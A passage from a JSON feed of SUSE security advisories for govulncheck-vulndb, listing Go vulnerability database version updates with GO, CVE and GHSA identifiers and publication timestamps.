CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:24:57Z","modified":"2026-09-27T18:23:15.791415126Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:23863-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:24:57Z","modified":"2026-09-27T18:23:16.587575494Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}